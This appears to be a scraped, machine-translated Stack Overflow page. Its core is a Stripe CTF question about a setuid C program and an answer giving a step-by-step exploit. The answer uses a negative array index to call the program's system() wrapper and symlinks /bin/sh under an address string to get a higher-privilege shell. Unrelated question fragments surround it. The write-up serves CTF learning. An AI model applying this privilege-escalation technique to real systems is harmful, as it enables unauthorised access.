- c - 在位数组中找到第一个零
- linux - Unix 显示有关匹配两种模式之一的文件的信息
- 正则表达式替换多个文件
- linux - 隐藏来自 xtrace 的命令
所以我正在尝试参加 Stripe CTF 竞赛,但我对安全性一无所知,所以当我遇到问题时,我查看了问题 3。我仍然不明白它是如何工作的。 黑客攻击的目标是通过使用设置了 SUID
位的应用程序访问不同用户文件中的密码。这是应用程序的(简化)代码:
#define NUM_FNS 4
typedef int (*fn_ptr)(const char *);
int to_upper(const char *str)
int to_lower(const char *str)
int capitalize(const char *str)
int length(const char *str)
int run(const char *str)
{
// This function is now deprecated.
return system(str);
}
int truncate_and_call(fn_ptr *fns, int index, char *user_string)
{
char buf[64];
// Truncate supplied string
strncpy(buf, user_string, sizeof(buf) - 1);
buf[sizeof(buf) - 1] = '\0';
return fns[index](buf);
}
int main(int argc, char **argv)
{
int index;
fn_ptr fns[NUM_FNS] = {&to_upper, &to_lower, &capitalize, &length};
if (argc != 3) {
exit(-1);
}
// Parse supplied index
index = atoi(argv[1]);
if (index >= NUM_FNS) {
exit(-1);
}
return truncate_and_call(fns, index, argv[2]);
}
这是我找到的解决方案:http://pastebin.com/VJ4xpawq
我很困惑为什么会这样。如果我使用类似 ./level03 -28 "echo foo
;"的代码运行代码我得到一个段错误。还有,为什么他的printf函数里的内存地址是反的????
我迷路了,想学习。先感谢您。 :)
最佳答案
这段代码的目标是执行
system("/bin/sh");
由于可执行文件的 UID 为“level04”,因此它生成的 shell 也将具有“level04”的 UID。
这可以通过运行“已弃用的”run
函数来完成:
run("/bin/sh");
我们注意到在函数 truncate_and_call
中,我们将调用一个由用户输入选择的函数:
return fns[index](buf);
因此,我们尝试创建一个内存位置并组成一个索引
,这样fns[index] == &run
。
索引
由
if (index >= NUM_FNS) {
exit(-1);
}
这意味着我们提供的恶意 index
必须小于 4——但它可能是负数!因此,我们的目标变成:
fns
之前找到一个可写的内存位置&run
的内存地址写入其中buf
指定为启动 shell 的内容。为了检查地址,我们在 gdb
中运行程序并在 truncate_and_call
处中断:
$ gdb --quiet --args a.out 1 something
Reading symbols from ~/a.out...done.
(gdb) b truncate_and_call
Breakpoint 1 at 0x80484c5: file 3.c, line 21.
(gdb) r
Starting program: ~/a.out 1 something
Breakpoint 1, truncate_and_call (fns=0xffbffa6c, index=1, user_string=0xffc019ab "something") at 3.c:21
21 strncpy(buf, user_string, sizeof(buf) - 1);
(gdb) list
16
17 int truncate_and_call(fn_ptr *fns, int index, char *user_string)
18 {
19 char buf[64];
20 // Truncate supplied string
21 strncpy(buf, user_string, sizeof(buf) - 1);
22 buf[sizeof(buf) - 1] = '\0';
23 return fns[index](buf);
24 }
25
注意这里还有一个局部变量buf
,它:
(gdb) p &buf$2 = (char (*)[64]) 0xffbffa00
has an address before fns
. So step 1 is done. We only need to check the index
, which is
(gdb) p (0xffbffa6c - 0xffbffa00) / 4 # 4 == sizeof(*fns)$4 = 27
So the next question is how to write the memory location of &run
into buf
. This is easy, because buf
is just a strcpy
of user_string
, the second argument of the function. Check that the address of run
is
(gdb) p &run$5 = (int (*)(const char *)) 0x80484ac
In a little-endian system, this address is encoded as the string "\xAC\x84\x04\x08"
. This string can be obtained from the shell using the printf
command, or $'...'
:
$ echo `printf "\xac\x84\x04\x08"`
��
$ echo $'\xac\x84\x04\x08'
��
所以,最后一步是让它启动 shell。因为如果我们把"\xac\x84\x04\x08"
赋值给buf
,实际上调用的是
run("\xac\x84\x04\x08");
但我们想要 "/bin/sh"
,而不是 "\xac\x84\x04\x08"
!通过将 /bin/sh
链接到名为 "\xac\x84\x04\x08"
的文件,并将该文件的目录添加到$路径
:
$ export PATH=`pwd`:$PATH
$ ln -s /bin/sh $'\xac\x84\x04\x08'
$ $'\xac\x84\x04\x08'
sh-4.2$ whoami
level03
因此整个解决方案是:
$ export PATH=`pwd`:$PATH
$ ln -s /bin/sh $'\xac\x84\x04\x08'
$ /levels/level03 -27 $'\xac\x84\x04\x08'
sh-4.2$ whoami
level04
(注意:数字有点不同,因为我在我的机器上运行它们而不是 Stripe 的。)
此外,您在 ./level03 -28 "echo foo;"
中遇到了一个段错误,因为它会将要运行的地址解释为 0x6f686365
( 4 字节 'echo'),这是一个无效地址。
关于创建指向内存地址的符号链接(symbolic link)。 (剧透 : Stripe CTF contest),我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/9430017/
给定一个字符串,例如 s="##$$$#",我如何找到索引之前的“#”符号数等于“”数的索引$"符号在索引之后? 示例:如果 s="##$$$#",则输出将为 2。 解释:在索引 2 之前我们有 2
在本教程中,您将借助示例了解 JavaScript 符号。 JavaScript 符号 JavaScript ES6 引入了一种新的原始数据类型,称为 Symbol(符号)。符号是不可变的(不能更改)
在“函数编程的工艺”一书中,符号 '>.>' 将函数连接在一起,与 '.' 的方向相反。但是当我使用 ghci 实现它时,它显示了超出范围的错误 '>.>'。为什么?它是不再使用的旧符号吗? 最佳答案
很难说出这里问的是什么。这个问题是含糊的、模糊的、不完整的、过于宽泛的或修辞性的,无法以目前的形式得到合理的回答。如需帮助澄清此问题以便重新打开它,visit the help center 。 已关
我需要从向量中删除 \"。这是我的数据: data <- c("\"https://click.linksynergy.com/link?id=RUxZriH*PWc&offerid=323058.1
我在 Nginx 配置中使用正则表达式来捕获文件 URL,但如果文件 URL 包含 # 符号,正则表达式模式将不会捕获它。 这里是nginx的配置部分。 location ~ ^/p/(?[\w\-=
如何使 & 符号在此图表的第一组条形/列下正确显示: http://jsfiddle.net/VxbrK/2/ 应该是“Apples & Oranges”而不是“Apples & Oranges”。
**在verilog中是什么意思? 我为测试台提供了以下逻辑 localparam NUM_INPUT_BITS = 1; localparam NUM_OUTPUT_BITS
我有一个使用正则表达式来验证电子邮件地址的方法。 public String searchFormail(String searchWord) { Pattern pattern = Patt
我想将一个字符串拆分为数字部分和文本/符号部分我当前的代码不包含负数或小数,并且表现得很奇怪,在输出的末尾添加了一个空列表元素 import re mystring = 'AD%5(6ag 0.33-
我有一些代码需要从数组中选择一个随机字符串,但它一直返回单个字母或数字。如何解决这个问题? var name = ["Yayek", "Vozarut", "Gezex",
我刚开始使用 Python,我在考虑应该使用哪种表示法。我读过 PEP 8关于 Python 符号的指南,我同意那里的大多数内容,除了函数名称(我更喜欢混合大小写风格)。 在 C++ 中,我使用匈牙利
在用 C# 编写代码时,我错误地在 if 语句中的变量前添加了一个符号(而不是感叹号)。 bool b = false; if (@b) { } 我很惊讶它编译成功,没有任何错误。 我想知道:上面的代
本文实例为大家分享了特殊字符替换电话号码中某一部分的方法,ios利用-号替换电话号码中间四位,供大家参考,具体内容如下 1、效果图 2、代码 rootviewcontroll
当我使用“x”和“z”作为符号时,这段代码没有问题: from sympy import * x, z = symbols('x z') y = -6*x**2 + 2*x*z**0.5 + 50*x
我需要从文本中删除标点符号: data <- "Type the command AT&W enter. in order to save the new protocol on modem;"
我有几个数字是 numeric 类。下面的例子。 df = c(12974,12412,124124,124124,34543,4576547,32235) 现在我想在每个数字前添加 '$' 符号而不
我有一个 highcharts 图例,其中符号以不同的大小显示,因为它们在实际图表中的大小不同。不幸的是,当数据点的大小增加时,它们也会在图例中增加。无论数据点大小如何,我都希望图例符号保持相同的大小
我需要使用包含平均值+-SD的标题。到目前为止,我只能得到以下信息: "Mean +- SD or N (%)" [1] "Mean +- SD or N (%)" 如何直接使用“+-”符号?您知道一
使用 XSLT 和 XPath 1.0,我有一个要转义的字符串以用于 URL,例如: one word & another 因此,描述元素的 text() 应该进行 URL 转义。 我该怎么做
我是一名优秀的程序员,十分优秀!